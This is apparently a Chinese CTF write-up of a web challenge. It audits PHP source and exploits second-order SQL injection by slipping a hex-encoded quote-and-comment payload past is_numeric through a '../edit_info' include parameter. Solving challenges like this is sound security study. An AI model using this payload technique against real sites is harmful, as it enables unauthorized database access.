安恒某月赛web

前言

今天是个糟糕的一天…昨晚上赶java小项目,结果睡的有点晚,睡了之后,中间醒了一次,看看7点多,继续睡。结果悲剧发生了,一上午的课全旷了,最后还舔着脸去找班主任去要假条,最关键的是老师找我,最后也….下午一个道友发来一个题目,在没课的时候做了一下…以下就是了。

正文

考点

is_numeric函数绕过

二次注入

题目分析

扫目录扫出个web.zip。

接下来代码审计。

漏洞点在edit_info.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
extract($_GET);
require_once("common.php");
require_once("config.php");
session_start();
if(is_numeric($role)){
$username = $_SESSION['username'];
$role = addslashes($role);
$sql_ = "update users set role=$role where username='$username'";
$db = new sql();
$db->register($sql_);
}

很有意思的是,在common.php页面存在下面两行代码

1
2
extract($_POST,EXTR_SKIP);
extract($_GET,EXTR_SKIP);

但在edit_info.php页面是起不了作用的.

继续看is_numeric函数可以利用十六进制绕过,

并且下面的sql语句中的$role变量没有被引号包裹,如果取出再拼接到其他语句中便可以形成二次注入。

下面寻找$role的拼接处…

info.php处发现拼接点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
require_once("common.php");
require_once("config.php");
session_start();
$username = $_SESSION['username'];
$sql_ = "select * from users where username='$username'";
$db = new sql();
$row = $db->getone($sql_);
$username = $row['username'];
$role = $row['role'];
$sql_ = "select info from info where role='$role'";
$row = $db->getone($sql_);
$info = $row['info'];
require("template/info.php");

先查询后拼接。最后在查询info表info字段…

解题流程

  1. 注册

    register.php注测一个用户tgao

  2. 登录

    index.php登录用户tgao

    生成session文件内容$_session[username]

  3. 更改role

    index.php?tem=../edit_info&role=0x27206f722031206c696d697420312c3123

  4. 再次登录用户tago

    页面回显出数据。

最后

坚持下去…